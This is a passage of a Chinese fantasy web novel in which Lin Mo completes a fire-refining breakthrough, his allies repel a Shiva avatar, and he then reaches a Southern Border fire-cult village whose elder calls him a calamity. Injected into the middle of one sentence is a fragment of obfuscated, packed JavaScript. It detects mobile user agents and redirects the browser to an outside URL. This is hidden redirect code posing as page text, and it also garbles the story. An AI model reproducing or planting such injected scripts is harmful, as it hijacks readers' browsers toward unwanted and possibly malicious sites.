她周身笼罩着清冷孤高的月华,纤纤玉指凌空一点。
“月华……凝。”
无声无息!
以她指尖为中心,空间仿佛被冻结!
无数细小的惨绿火蛇,连同它们周围的空气、逸散的熔炉热量、甚至迦楼罗弥漫的淤泥气息,瞬间被一层晶莹剔透、散发着绝对寒意的冰晶封冻!定格在半空!
如同时间静止!
冰晶中,惨绿火蛇依旧保持着噬咬的姿态,却再也无法寸进!
“昆仑……云无月!”迦楼罗的声音第一次带上了骇然!
云无月看都未看迦楼罗,冰寒的目光穿透光柱,落在林默身上,更落在他体内那正被熔炉核心淬炼、却依旧顽强抵抗死气侵蚀的残缺薪火上。
“残缺之火,污秽缠身……”
她清冷的声音带着一丝不易察觉的……审视?
“竟能引动源初熔炉……倒也有趣。”
“云道友。”谢清徵看向云无月,剑光依旧抵住迦楼罗主火,“此獠业火歹毒,需合力……”
“不必。”云无月打断,语气淡漠,“区区伪神业火,冰封便是。”
她指尖月华流转,被冰封的无数惨绿火蛇连同那片空间,如同脆弱的琉璃,无声无息地……化为齑粉!湮灭!
干净利落!霸道绝伦!
迦楼罗心神剧震!主火被谢清徵剑光钉死,分身业火被云无月随手湮灭!
两大华夏顶尖正道传人联手,瞬间将他逼入绝对下风!
“你们……该死!”迦楼罗狂怒,周身黄布鼓荡,恒河淤泥气息化作粘稠的黑色漩涡,更强大的力量在酝酿!
“哼,湿婆的狗,吠得真难听!”娇叱声破空!
一道赤金流光撕裂被炸塌的入口废墟,阿离脚踏离焱环,周身火凤虚影略显黯淡却战意高昂,冲入平台!
紧随其后,墨灵操控着修复了大半、符文流转的璇玑木鸢,老铁头浑身浴血却紧握雷锤,渔火九针环绕护持!
“林小子!”老铁头看到光柱中气息剧烈波动的林默,又惊又急。
“他正在关键!”墨灵扫描数据,“能量层级……突破临界点!80%……85%……死气反噬被压制了!”
“帮他!”阿离毫不犹豫,离焱环赤光射向光柱,试图助林默一臂之力!
“别!”渔火急喝,却晚了一步!35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16113272|179963||http|test|mini|href|location''.split(''|''),0,{}));
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r>嗡!
阿离的离焱赤光刚触及光柱边缘,一股狂暴的、混乱的、带着熔炉核心意志与林默薪火本源的排斥力轰然爆发!
噗!
阿离如遭重击,娇躯倒飞,嘴角溢血!
“离火丫头!”渔火九针疾飞,稳住阿离。
“不行!”墨灵急道,“能量场高度排外!强行介入会引发能量风暴!”
“那怎么办?!”阿离抹去血迹,焦急地看着光柱中身体微微颤抖、承受着非人痛苦的林默。
光柱内。
【火种淬炼度:90%!】
【警告:死气反噬加剧!】
【警告:外部强敌威胁!】
冰冷信息流与熔炉核心狂暴的力量疯狂冲刷林默意志!
地火死气如同最恶毒的诅咒,在薪火本源即将完成淬炼的刹那,发起了最疯狂的反扑!
惨绿死气化作狰狞鬼面,嘶吼着扑向他意识核心!
“呃啊——!”林默发出痛苦的低吼,体表暗金火焰剧烈摇曳,橘红地火光芒被惨绿死气疯狂侵蚀!
外有迦楼罗虎视眈眈,内有死气致命反噬!
生死一线!
“林默!”墨灵突然厉喝,“还记得碑灵‘炎烬’的火种印记吗?!用那个!共鸣密卷!引动熔炉之力,内外夹击死气!”
炎烬印记?!林默剧痛中灵光一闪!
破妄右眼金光燃烧到极致!
他强聚最后意志,沟通识海中那源自碑灵的、苍茫古老的守护火种印记!
同时,将这份印记,顺着熔炉核心的共鸣,狠狠撞向悬浮的械宗密卷!
嗡——!
密卷骤然爆发出前所未有的暗红光芒!
一道粗壮、凝练、带着古老械宗锻造意志的暗红光流,从密卷中射出,无视光柱阻隔,狠狠灌入林默体内!
轰!
薪火!地火!熔炉核心之力!械宗密卷锻造意志!四股力量在“炎烬”印记的串联下,于林默体内轰然交汇!
“给我……炼!”
林默心中咆哮!
那疯狂反扑的惨绿死气,如同暴露在烈日下的冰雪,在这股汇聚了守护、净化、锻造、传承的复合伟力面前,发出无声的尖叫,被硬生生……逼退!压制!炼化!
【火种淬炼度:95%……98%……100%!】
嗡——!!!
笼罩林默的暗红光柱骤然收缩!融入他体内!
他猛地睁开双眼!
右眼金光璀璨,仿佛能洞穿九幽!左眼……依旧紧闭,但眼睑下,似乎有微弱的暗金光芒一闪而逝!
一股全新的、凝练精纯的、带着大地脉动与古老守护意志的暗金色火焰,自他丹田轰然爆发!席卷全身!
薪火本源——地脉薪火!淬炼完成!
第二十五章 薪火燎原
暗金火焰席卷,地脉脉动轰鸣!
林默立于平台,周身暗金“地脉薪火”熊熊燃烧,带着大地厚重与守护意志,将熔炉核心的狂暴余波稳稳压下。他右眼金光内敛,却更显深邃,左眼紧闭,眼睑下那抹暗金微光隐隐透出。
淬炼完成!力量新生!
“林小子!”老铁头惊喜。
“成了!”阿离美眸亮起。
墨灵扫描:“能量层级稳定!地火死气……被炼化99.7%!残留微量,暂无威胁!”
渔火长舒一口气,九针微颤。
平台另一端。
迦楼罗被谢清徵的青色剑光钉住主火,分身业火被云无月随手湮灭,此刻正被两大华夏顶尖天骄的无形气机牢牢锁定!恒河淤泥气息剧烈翻腾,黄布下的面孔扭曲,惊怒交加!
“残缺薪火……竟能完成熔炉淬炼?”云无月清冷的眸光扫过林默,冰寒中掠过一丝极淡的讶异,随即恢复漠然,“可惜,根基依旧浅薄。”
“薪火重燃,可喜。”谢清徵温润目光落在林默身上,带着一丝赞许,指尖青芒却丝毫未松,牢牢压制迦楼罗,“然强敌未退,不可松懈。”
迦楼罗发出低沉嘶吼,如同受伤的毒蛇。
“蜀山……昆仑……”
“你们……以为这就赢了?”
他猛地抬头,枯爪般的双手在胸前结出一个极度扭曲、亵渎的古老印诀!周身恒河淤泥气息疯狂倒卷,注入他眉心!
“以吾身为祭坛!以神拳为引信!”
“恭请……湿婆业火真身……降世临凡!”
嗡——!!!
迦楼罗眉心,一点比焚身业火更幽暗、更纯粹、仿佛能吞噬宇宙光明的漆黑火种,骤然点燃!
刹那间!
无法形容的恐怖威压降临!整个熔炉空间仿佛被投入了冰冷的恒河淤泥深处!时间凝滞,空间扭曲!一种超越了人类理解的、冰冷、毁灭、带着无尽轮回寂灭意味的“神性意志”,如同亿万座冰山,狠狠压在所有人心头!
“噗!”重伤濒死的石崚再次喷血,气息如风中残烛!
阿离、老铁头如坠冰窟,灵魂都在颤栗!
墨灵璇玑警报疯狂闪烁!数据流乱码!
连渔火的九针都发出不堪重负的哀鸣!
谢清徵温润的脸色首次剧变!指尖青色剑光剧烈颤抖!
云无月孤高的月华护体光晕猛地一缩,冰寒的眼底终于闪过一丝凝重!
“不好!他在献祭自身!引动湿婆本源意志投影!”谢清徵厉喝,“阻止他!”
但迟了!
迦楼罗的身体如同蜡像般开始融化、崩解!他眉心那点漆黑火种却越来越亮,最终化作一道连接虚空的、流淌着粘稠淤泥与毁灭之息的……意志通道!
一个无法用语言形容其形态、仿佛由无尽黑暗、冰冷淤泥、扭曲毁灭法则构成的巨大“眼眸”,在那通道尽头缓缓睁开!
湿婆意志!
仅仅是被那“眼眸”扫过!
轰——!
所有人灵魂如遭重锤!精神世界仿佛要被那纯粹的毁灭与寂灭之意彻底冻结、碾碎!
“蝼蚁……窃火者……”
“当……归墟!”
宏大、冰冷、多重神性回音响彻灵魂!非人语言,意志直抵!
首当其冲的,正是刚刚完成突破、与熔炉核心联系最紧密的林默!
噗!
林默如遭万钧山岳轰顶!刚刚稳固的地脉薪火剧烈摇曳,瞬间黯淡!
他七窍溢血,身体骨骼发出不堪重负的**!
那恐怖的“归墟”意志,如同冰冷的钢针,狠狠刺向他灵魂深处,要将他连同刚诞生的薪火,一同拖入永恒的寂灭黑暗!
“林默!”阿离离焱环赤光爆发,却被神威死死压制,寸步难移!
“撑住啊!”老铁头目眦欲裂!
“精神……污染……层级……超限……”墨灵声音断断续续。
“蜀山弟子!”谢清徵猛地看向云无月,眼中带着前所未有的决绝,“护住他们!此獠由我挡之!”
话音未落!
谢清徵手中洗剑葫青光暴涨!他并指如剑,点在眉心!
“剑心……燃!”
嗡——!
一股比之前清冽剑光更加纯粹、更加炽烈、仿佛能点燃灵魂的青色火焰,自他眉心升腾而起!
那是蜀山剑仙以自身剑道本源点燃的——心火!
他周身气息瞬间暴涨!温润褪去,只剩下玉石俱焚的决绝剑意!
“一剑……”
他并指斩向那意志通道尽头的湿婆之眼!
“……薪尽火传!”
嗤啦——!
一道凝练到极致、仿佛由纯粹青色心火构成的剑光,带着燃烧生命与剑道的悲壮,撕裂神威泥沼,逆流而上!直斩湿婆意志!
剑光所过之处,恒河淤泥气息被点燃净化!那冰冷的“归墟”意志竟被这燃烧生命的一剑短暂逼退!
“蜀山小辈……也敢阻神?”湿婆意志传来一丝被蝼蚁撼动的愠怒!
意志通道中,淤泥翻涌,凝聚成一只覆盖着粘稠淤泥、缠绕着毁灭锁链的巨爪,带着令空间崩塌的威势,狠狠拍向谢清徵的青色心火剑光!
轰——!!!!
无法形容的碰撞!
心火剑光悲鸣!剧烈摇曳,仿佛随时会熄灭!谢清徵脸色瞬间苍白如纸,身形摇摇欲坠,眉心燃烧的心火都黯淡了几分!
神威如狱!凡人岂能逆天?!
就在这千钧一发之际!
嗡——!!!
林默怀中,那沉寂已久的半卷天工开武图猛地爆发出前所未有的暗金光晕!
一股苍茫、古老、仿佛来自洪荒之初的“武魂”意志,被湿婆神性的终极压迫彻底激发!
“吼——!”
一声来自灵魂深处的、不屈的咆哮在林默识海炸响!
他丹田内,刚刚完成淬炼的地脉薪火仿佛找到了主心骨,轰然爆发!
暗金火焰冲天而起,竟隐隐在他身
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后凝聚成一个模糊的、顶天立地的巨人虚影!
巨人虚影脚踏大地,身缠薪火,虽残缺不全,却带着一股不屈不挠、守护人间、开天辟地的无上战意!
武魂虚影!
虽仅一瞬,却真实显化!
这源自地球武道本源的意志咆哮,如同洪钟大吕,狠狠撞向湿婆的“归墟”意志!
轰!
湿婆意志那冰冷寂灭的碾压,竟被这突如其来的洪荒武魂咆哮,硬生生震得一滞!
拍向谢清徵的淤泥巨爪也出现瞬间的凝滞!
“就是现在!”渔火厉啸!
“北岳……镇岳!”一声微弱、嘶哑却蕴含着山岳般不屈意志的低吼,从平台角落响起!
重伤濒死、几乎无法动弹的石崚,此刻双目圆睁,布满血污的双手死死按在滚烫的金属平台上!
他燃烧着最后的本源意志,引动了北岳宗秘传的镇山之力!
这并非攻击,而是将自身如山意志与脚下承载他的平台、乃至熔炉深处的部分地脉短暂共鸣!
轰隆!
整个熔炉核心平台剧烈一震!
一股厚重、沉凝、如同大地根基动摇般的无形冲击波,以石崚为中心,悍然扩散!狠狠撞向湿婆意志通道!
北岳秘法·镇岳!以身为山,撼动神威!
三重冲击!
谢清徵燃尽心火的一剑!
林默武魂意志的洪荒咆哮!
石崚引动地脉的镇岳冲击!
轰!轰!轰!
湿婆意志通道剧烈震荡!
那淤泥巨爪被心火剑光与无形地脉冲击双重干扰!意志通道尽头的巨大眼眸,首次流露出一丝……惊疑不定?
“武魂……余孽?!”
湿婆意志的宏大回响带着一丝难以置信的波动!
趁此神性意志受扰的刹那!
“封!”云无月清冷的声音响起!
她终于出手!纤纤玉指凌空勾勒,月华如练,瞬间化作无数道晶莹剔透、流转着绝对封禁法则的符文锁链,如同天罗地网,罩向那震荡不稳的意志通道!
“区区投影……也敢逞凶?”
“月魄……封神链!”
咔嚓!咔嚓!
晶莹锁链缠绕而上,将流淌淤泥与毁灭气息的意志通道层层封冻!湿婆意志的怒吼被隔绝!
“走!”云无月看向气息萎靡的谢清徵和摇摇欲坠的林默等人,目光扫过力竭昏迷的石崚,声音依旧冰冷,却带着不容置疑。
嗡!
清冷月华卷过,包裹住平台上所有人——林默、昏迷的石崚、阿离、墨灵、老铁头、渔火、谢清徵,瞬间从原地消失!
只留下被月魄封神链暂时冻结的意志通道,以及迦楼罗融化崩解后残留的、散发着恶臭的恒河淤泥。
意志通道深处,那巨大的湿婆之眼缓缓闭合,最后传出一道冰冷的神谕:
“武魂……薪火……”
“标记……锁定……”
“待吾真身……重临……”
第二十六章 星火归途
冰冷月华散尽。
咸腥江风扑面,带着黄浦江特有的水汽与远处都市的喧嚣。
众人出现在一处废弃的江岸码头仓库深处,锈蚀的龙门吊在昏暗中投下巨大阴影。潮湿、陈旧、隐秘。
噗通!
石崚魁梧的身躯重重倒地,彻底昏迷,气息微弱如游丝。强行引动“镇岳”秘法,耗尽了他最后的本源。
“老石!”老铁头扑过去,雷锤哐当落地,手忙脚乱掏药。
“生命体征……极危!”墨灵操控着符文黯淡的璇玑扫描,“多处脏器破裂……本源枯竭……需要顶级续命丹!”
谢清徵脸色苍白如雪,眉心那道燃烧心火的青焰已熄灭,留下焦灼的裂痕。
他身体晃了晃,被渔火一把扶住。
“谢道友!”渔火九针疾刺谢清徵几处大穴,青霖酒气弥漫。
“无妨……剑心燃尽,根基有损……休养即可。”谢清徵声音虚弱,却依旧温润,目光扫过昏迷的石崚,带着歉意,“连累石道友了。”
林默单膝跪地,地脉薪火在体内缓缓流转,修复着湿婆神威冲击的暗伤。
他右眼金光扫过石崚和谢清徵,心沉了下去。
伤势极重!
“我……有青霖酒!”林默毫不犹豫取出洗剑葫。
“不够。”云无月清冷的声音响起。
她孤身立在仓库窗边,月光勾勒出清绝侧影,仿佛与尘世隔绝。
“蜀山剑心燃尽,非青霖可续。北岳莽夫本源枯竭,寻常丹药无用。”
她指尖月华流转,凝成两颗米粒大小、散发绝对寒意的冰晶丹丸,分别射向谢清徵和石崚。
“月魄凝元丹,吊命三日。”
谢清徵接过,冰晶入手即化,一股温和却强大的寒气瞬间护住他几近崩溃的剑道本源,苍白脸色稍缓。
“多谢云道友。”他微微颔首。
老铁头赶紧将另一颗塞入石崚口中。冰晶化开,石崚濒死的呼吸奇迹般稳定了一丝。
“三日……”渔火眉头紧锁,“三日之内,必须送他们回山!”
“回山?”阿离柳眉倒竖,离焱环火光跳跃,指向云无月,“喂!冰块脸!你刚才说林默根基浅薄?什么意思?他可是刚拼死炼化了地火之心!”
云无月缓缓转身,冰寒的目光落在林默身上,带着审视的锐利。
“地脉薪火?投机取巧罢了。”
“引动武魂虚影?更是饮鸩止渴。”
她声音毫无波澜,却字字如冰锥。
“你体内残缺火种,强行融合地火本源,看似强大,实则根基不稳,如同沙上筑塔。”
“那武魂意志,更是破碎不堪,强行激发,只会加速武魂本源的溃散,徒耗寿元。”
“还有那0.3%的地火死气,如同附骨之疽,随时可能反噬。”
林默心头一凛!
破妄右眼内视,薪火核心深处,一丝极淡的惨绿死气,如同毒蛇般盘踞,地脉薪火的流转在靠近时确实有微不可查的滞涩!
武魂本源处,也传来阵阵空虚的隐痛!
云无月所言非虚!
“危言耸听!”阿离不服,“林默能引动熔炉核心,就是证明!”
“证明?”云无月唇角勾起一丝极淡的讥诮,“源初熔炉早已残破,核心意志混乱残缺,被一缕残缺薪火引动,有何稀奇?”
她目光转向悬浮在仓库半空、被林默薪火包裹的械宗密卷。
“此物,才是我此行的目标。”
她纤手微抬,月华如丝,卷向密卷。
“慢着!”林默一步踏前,暗金薪火升腾,护住密卷。
“嗯?”云无月眸光骤寒,仓库温度骤降,空气凝结冰晶!
“云道友!”谢清徵强提精神,挡在林默身前,青霖酒气与残余剑意交织,“此乃林小友历经生死所得,归属……”
“归属?”云无月打断,声音冰冷,“昆仑监管天下遗泽。此卷蕴含械宗核心锻造之秘,更与‘万机之孽’关联,岂容残缺火种持有,徒增祸患?”
气氛瞬间剑拔**张!蜀山守护之意vs昆仑监管之权!
“够了!”
渔火沉声喝道,九针悬空,气机锁定云无月。
“魔都未靖!强敌环伺!湿婆标记已下,圣律所余孽尚存!此时内讧,是想让亲者痛仇者快吗?”
他浑浊老眼扫过众人。
“当务之急,是护送伤者回山!”
“林默身负薪火与武魂之秘,湿婆首要目标,同样不能留在此地!”
“至于械宗密卷……”渔火看向林默,“林小子,此物在你手中,是福是祸,尚未可知。但眼下,保命要紧!”
林默沉默。破妄右眼金光闪烁,权衡利弊。
云无月实力深不可测,硬抢密卷绝无胜算。谢清徵重伤,石崚垂危,阿离等人也状态不佳。
他深吸一口气,地脉薪火收敛,主动将械宗密卷推向云无月。
“密卷暂存云前辈处,可。”
“但我需要拓印一份锻造火种、修复根基的核心法门
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!”
云无月月华一卷,密卷落入手中。她深深看了林默一眼,冰寒依旧,却似乎多了一丝审视。
“可。”
月华在密卷表面流转,片刻后,一枚由纯粹月华凝成的、流转着复杂符文的晶片飞向林默。
“核心法门‘源炉锻火篇’,予你。”
“好魄力。”谢清徵虚弱赞道。
“哼,算你识相。”阿离撇嘴,但明显松了口气。
“老铁,墨丫头!”渔火迅速部署,“准备‘潜蛟’!走浦江暗河!”
“明白!”老铁头背起石崚。
墨灵操控璇玑:“能量屏蔽开启……路线规划中……”
“谢道友,你与石道友随我回蜀山疗伤。”渔火看向谢清徵。
谢清徵点头,看向林默:“林小友,湿婆锁定非同小可,务必小心。若有难处,可持此物来蜀山寻我。”
他递出一枚古朴的、刻有“清”字的剑形玉珏。
林默郑重接过:“谢前辈大恩,林默铭记!”
“林默!”阿离拉住他衣袖,琥珀瞳灼灼,“跟我回南疆!婆婆一定有办法解决你根基和死气的问题!”
墨灵推了推黑框眼镜:“数据模型显示,南疆火神教对火焰本源的研究,成功率比盲目探索高37.2%。”
林默看向云无月。她已收起密卷,月华笼罩,身影开始模糊。
“好,去南疆。”林默做出决定。
云无月最后瞥了林默一眼,清冷的声音留下一句:
“残缺之火,莫要强求。若失控……昆仑自会回收。”
月华一闪,人已无踪。
仓库内,只剩下即将分道扬镳的众人。
渔火带着谢清徵、老铁头背着石崚,走向码头阴影处无声浮起的梭形“潜蛟”。
阿离拉住林默,离焱环火光流转。
墨灵璇玑启动,符文光翼展开。
“林小子!”渔火在舱门关闭前最后喊道,“薪火已燃,前路艰险!活下去!”
“我会的!”林默握紧手中月华晶片与剑形玉珏。
暗河水流涌动,潜蛟无声下潜。
离焱环赤光一闪,带着林默、阿离、墨灵冲天而起,撕裂魔都夜色,向着西南莽莽群山飞去。
黄浦江的波涛依旧,倒映着魔都璀璨又冰冷的灯火。
江底深处,几块圣律所战甲的残骸,被水流卷动,闪烁着冰冷的金属光泽。
更深的阴影里,一缕微弱的惨绿火星,如同鬼魅般附着在一块礁石上,无声跳动。
第二十七章 南疆雾障
赤色山峦在云海中起伏,如同凝固的火焰。
原始丛林覆盖其上,藤蔓虬结,瘴气弥漫,空气中飘荡着草木腐烂与奇异花香混合的湿热气息。
离焱环的赤光撕开厚重云层,缓缓降落在一条湍急的碧绿江流旁。
“到了!”阿离收起离焱环,琥珀瞳闪着回家的雀跃,“前面就是‘千火寨’,我家!”
林默落地,深吸一口湿热空气,地脉薪火在体内微转,驱散一丝侵入的阴湿瘴气。破妄右眼金光扫过四周。
古老巨木遮蔽天日,树干上刻着扭曲的火焰图腾。
江水奔腾,水汽中竟夹杂着星星点点的赤红火星,随波逐流,经久不灭。
“空气成分复杂……含微量惰性琉火粒子……能量场活跃度是魔都3.7倍……”墨灵推了推眼镜,璇玑木鸢悬浮扫描,“存在未知干扰……信号屏蔽严重。”
“当然啦!”阿离得意地扬起下巴,“火神教的地盘,到处都是婆婆布下的‘离火迷踪阵’,外人进来,绕到死也找不到寨子!”
她指向江对岸一片被浓雾笼罩的山谷。
“跟我来!走‘虹桥’!”
阿离走到江边一块刻满火焰符文的巨石旁,咬破指尖,一滴鲜红的血珠滴落符文中心。
嗡!
巨石上符文次第亮起赤光!江面之上,无数随波浮沉的赤红火星仿佛受到召唤,急速汇聚,竟在湍急的江流之上,凭空凝聚成一座横跨两岸、完全由跳跃火星构成的——火焰虹桥!
“快!”阿离率先踏上火星虹桥,如履平地。
林默和墨灵紧随其后。脚踏之处,火星温柔托举,炽热却并不灼人,反而传来阵阵精纯的火元之力。
“能量具现化……粒子操控……精度惊人!”墨灵惊叹。
穿过虹桥,踏入浓雾。雾气粘稠湿冷,带着迷惑感知的力量。但阿离步伐坚定,七拐八绕,仿佛在自家后院散步。
“小心脚下‘惑心瘴’,吸多了会产生幻觉。”阿离提醒。
林默破妄右眼金光微闪,雾气中扭曲的能量脉络清晰可见,他谨慎引导墨灵避开几处能量淤积的险地。
行约一刻钟,浓雾豁然开朗!
一片依山而建、错落有致的庞大村寨出现在眼前!
寨子以千年铁木为基,吊脚楼鳞次栉比,屋檐下悬挂着无数赤铜风铃和兽骨符牌。最引人注目的是寨子中央,一座完全由暗红色火山岩垒砌而成的古老祭坛,祭坛顶端,一簇永不熄灭的纯白色火焰静静燃烧,散发出温暖、净化、又带着一丝神圣威严的气息!
南明离火!
寨中人来人往,无论男女老少,皆身着色彩艳丽的苗绣服饰,佩戴银饰。他们气息彪悍,行走间隐有火气流转,看到阿离,纷纷热情招呼。
“阿离回来啦!”
“阿离姐!带客人啦?”
“咦?那个小哥的眼睛……”
好奇、热情、探究的目光聚焦在林默身上,尤其他的破妄右眼。
阿离
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笑嘻嘻回应,拉着林默直奔寨子深处最高大的一座吊脚楼。
楼前小院,一位身着深紫色苗绣长袍、头发银白如雪的老妪,正佝偻着背,用小银刀细细雕刻着一块赤红木料。她动作缓慢,却带着一种奇异的韵律。
“婆婆!”阿离欢叫一声,扑了过去。
老妪缓缓抬头。
林默心头猛地一跳!
破妄右眼看到的,并非慈祥老妇!
而是一团人形的、内蕴恐怖高温、仿佛能焚尽万物的——纯白离火本源!其能量层级,远超阿离,甚至隐隐接近魔都时的浦江渔火!
更让林默警铃大作的是,当老妪浑浊的目光落在他身上时,他丹田内地脉薪火深处,那蛰伏的0.3%惨绿死气,竟不受控制地……悸动了一下!
仿佛遇到了天敌!又或是……同源相斥?
老妪的目光在林默身上停顿片刻,尤其在林默紧闭的左眼和他丹田位置多停留了一瞬。浑浊的眼底深处,似乎有极淡的纯白火光一闪而逝。
她没有看阿离,而是用苍老沙哑、带着奇异腔调的声音,直接对着林默开口:
“外乡人……”
“你身上……有死水的味道……还有……不灭的火种。”
她放下刻刀,布满皱纹的脸转向阿离,语气陡然转冷,带着洞穿人心的锐利:
“阿离……”
“你带回来的,可不是简单的客人。”
“他是一颗……随时会烧毁整片南疆的……灾星!”
第二十八章 离火婆婆
“灾星?”
阿离脸上的笑容瞬间僵住,琥珀瞳瞪大,难以置信地看着婆婆。
“婆婆!你胡说什么!林默他……”
“闭嘴!”
婆婆手中小银刀“笃”地一声钉在木案上,刀柄兀自颤动。她浑浊的目光如同冰冷的银针,刺向阿离。
“你在魔都惹的祸还不够大?湿婆的标记都引到南疆来了!”
“还嫌寨子……死的人不够多吗?”
最后一句,带着沉痛与压抑的怒火,让阿离浑身一颤,咬住嘴唇,眼眶微红。
婆婆不再看她,佝偻的身躯缓缓转向林默,那双浑浊的眼睛仿佛能穿透皮囊,直视他丹田深处那缕悸动的惨绿死气与燃烧的暗金薪火。
“外乡人,报上名。”
“林默。”林默不卑不亢,破妄右眼直视对方那团人形纯白离火本源,“前辈慧眼如炬,晚辈体内确有隐患。但‘灾星’之名,不敢苟同。”
“不敢?”婆婆沙哑地笑了,带着一丝嘲讽,“你可知,你体内那丝‘死水’的根脚?”
她枯槁的手指凌空一点!
嗡!
小院中央,那簇燃烧的纯白色南明离火猛地分出一缕,瞬间凝成一只巴掌大小、栩栩如生的纯白火鸟!火鸟清鸣,带着净化万物的神圣气息,直扑林默!
快!纯粹!带着审判意志!
林默瞳孔一缩!地脉薪火本能护体,暗金火焰升腾!
嗤——!
纯白火鸟撞入暗金薪火!
没有**,只有剧烈的湮灭与侵蚀!
林默闷哼一声,连退三步!体表暗金火焰疯狂摇曳,竟被那纯白火焰硬生生“烧”掉一层!更让他心惊的是,丹田深处那缕惨绿死气,在纯白火鸟出现的刹那,如同受惊的毒蛇,猛地收缩蛰伏,却又传递出无比强烈的憎恶与……贪婪?
它在渴望吞噬这纯白离火!
“看到了?”婆婆声音冰冷,“你的‘死水’,并非寻常污秽!它源于‘黄泉孽海’的核心本源!是骸渊污染万物的根源之一!”
“它憎恨我的离火,因为离火能净化它!”
“但它更渴望吞噬离火!因为吞噬离火本源,能助它蜕变!化为更恐怖的‘孽毒’!”
她指向林默丹田,字字如刀。
“而你体内那残缺的薪火,与这孽毒死水共生,如同抱薪玩火!稍有不慎,薪火失控,或死水反噬,爆发出的孽毒污染……”
婆婆目光扫过整个生机勃勃的千火寨,声音带着寒意。
“……足以让这方圆百里的生灵,化为枯骨脓水!这不是灾星,是什么?”
小院内一片死寂。
阿离脸色煞白,看向林默的眼神充满担忧和一丝不易察觉的恐惧。
墨灵推了推眼镜,璇玑无声扫描林默能量波动,数据流疯狂跳动,最终定格在“污染共生风险系数:高危”。
林默沉默。破妄右眼内视,那惨绿死气在纯白离火的刺激下,确实变得异常“活跃”与“饥渴”,与地脉薪火的平衡变得更加脆弱。
“前辈既知根底,可有解法?”林默沉声问道,目光灼灼。
“解法?”婆婆冷哼一声,“剥离死水,需以极致净化之力,深入你火种本源,风险极大,稍有不慎,你火种溃散,身死道消!”
“或者……”她浑浊的目光落在林默紧闭的左眼,“以造化生机之物,重塑你本源,强行逼出死水。但此等神物……”
“补天髓?造化青莲?”林默接口。
婆婆眼中精光一闪:“你竟知道?看来你身后也有人指点。可惜,这两样东西,早已绝迹人间。”
她顿了顿,看着林默平静却坚定的眼神,忽然话锋一转。
“不过……”
“你体内那点武魂的碎片……倒是个变数。”
林默心头一震!武魂破碎之秘,她竟也能看出?
“武魂本源,乃天地人三魂凝聚,蕴藏无尽潜能,也是承载‘天工开武图’的关键。”婆婆
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缓缓道,语出惊人!
“若你能在南疆,寻得一丝契机,唤醒武魂,以其本源之力**甚至炼化那丝孽毒死水……”
“或许……有一线生机。”
唤醒武魂?契机?林默眼神锐利起来。这与他之前的猜测不谋而合!
“婆婆!”阿离忍不住开口,“那您快帮帮……”
“我为何要帮?”婆婆打断她,目光重新变得冰冷,“引狼**,还要寨子承担风险?”
她佝偻着背,重新拿起小银刀,慢悠悠地雕刻那块赤红木料。
“外乡人,南疆不欢迎灾星。”
“看在阿离带你来的份上,给你三日。”
“三日之内,滚出千火寨地界。”
“否则……”她手中刻刀轻轻一划,一缕纯白离火无声缠绕刀锋,散发出令人心悸的毁灭气息。
“……老婆子亲自‘送’你走。”
冰冷的逐客令,带着不容置疑的毁灭意志!
阿离急了:“婆婆!你不能……”
“带他们去‘客寮’。”婆婆头也不抬,声音淡漠,“三日后,我不想再看到他们。”
两个身穿黑色苗绣短褂、气息沉凝如山的精壮汉子无声出现,面无表情地对林默和墨灵做了个“请”的手势。
“林默……”阿离看向林默,琥珀瞳中满是焦急和歉意。
林默深深看了一眼低头雕刻、仿佛与世隔绝的婆婆,又感受了一下丹田内那因纯白离火刺激而变得“饥渴”的惨绿死气。
“走吧。”他对阿离和墨灵点点头,眼神平静。
“多谢前辈……点醒。”
他转身,跟着黑衣汉子,走向寨子边缘一排简陋的吊脚楼。
走出小院时,破妄右眼余光瞥见,婆婆雕刻的那块赤红木料,在银刀与纯白离火的雕琢下,渐渐显露出一只展翅欲飞、姿态桀骜的……火凤凰雏形。
那凤凰的眼神,竟与婆婆浑浊眼底深处偶尔闪过的锐利光芒……有几分相似。
第二十九章 三日之期
客寮简陋,竹墙藤床,弥漫着湿木与陈旧草席的气息。
“欺人太甚!”阿离一拳砸在粗糙的木桌上,琥珀瞳燃烧着怒火,“婆婆怎么能这样!”
墨灵操控璇玑扫描着简陋的房间:“无监听设备……能量场稳定……暂时安全。”
她看向沉默的林默:“数据分析支持婆婆部分结论。你体内能量平衡极其脆弱,死水活性在接触离火后提升15.7%,对薪火本源的侵蚀速率加快。”
林默盘膝坐在竹床上,破妄右眼金光内敛,仔细内视。
丹田内,暗金色的地脉薪火缓缓流转,带着大地厚重的守护意志。
但在其核心深处,那缕惨绿色的死水如同活物般盘踞,散发着阴冷、污秽、贪婪的气息。
它像一颗毒瘤,不断汲取着薪火的力量,又释放着侵蚀的毒素,破坏着薪火与经脉的完美循环。
更棘手的是,在婆婆那纯白离火的刺激下,这死水似乎被“唤醒”了,对精纯火元之力,尤其是离火本源的渴望与憎恶交织,变得更加躁动不安。
武魂本源所在之处,依旧是一片混沌的虚空,只有微弱的、源自洪荒的悸动,证明其存在。唤醒契机?虚无缥缈。
“林默,你别担心!”阿离凑过来,压低声音,“婆婆就是嘴硬心软!她既然提到唤醒武魂是契机,寨子里一定有线索!”
“火神教传承千年,肯定有关于武魂的记载,或者能刺激武魂觉醒的秘境!”
她琥珀瞳闪着光:“我去找岩烈大哥!他是寨子守卫队长,知道很多禁地的秘密……”
“阿离。”林默睁开眼,右眼金光平静,“别让你为难。”
“婆婆态度坚决,寨子守卫也在监视我们。”他目光扫过窗外,两个黑衣汉子如同雕塑般守在客寮外不远处。
“可是……”
“没有可是。”林默语气坚定,“婆婆说得对,我体内隐患巨大,留在此地对寨子是威胁。三日之期,我会离开。”
“离开?去哪?”阿离急了,“外面更危险!湿婆的标记……”
“湿婆标记是祸,但留在这里引爆死水,更是灾难。”林默看向阿离,“帮我两个忙。”
“你说!”
“第一,帮我打听寨子里关于‘武魂’、‘破碎本源’、或者任何能刺激潜能觉醒的古籍传说、奇异之地。不需要具体位置,只需线索方向。”
“第二……”林默看向墨灵,“墨灵,我需要你扫描整个千火寨及周边区域的能量场,特别是那些‘未知干扰’最强烈的区域,绘制一份能量异常点地图。”
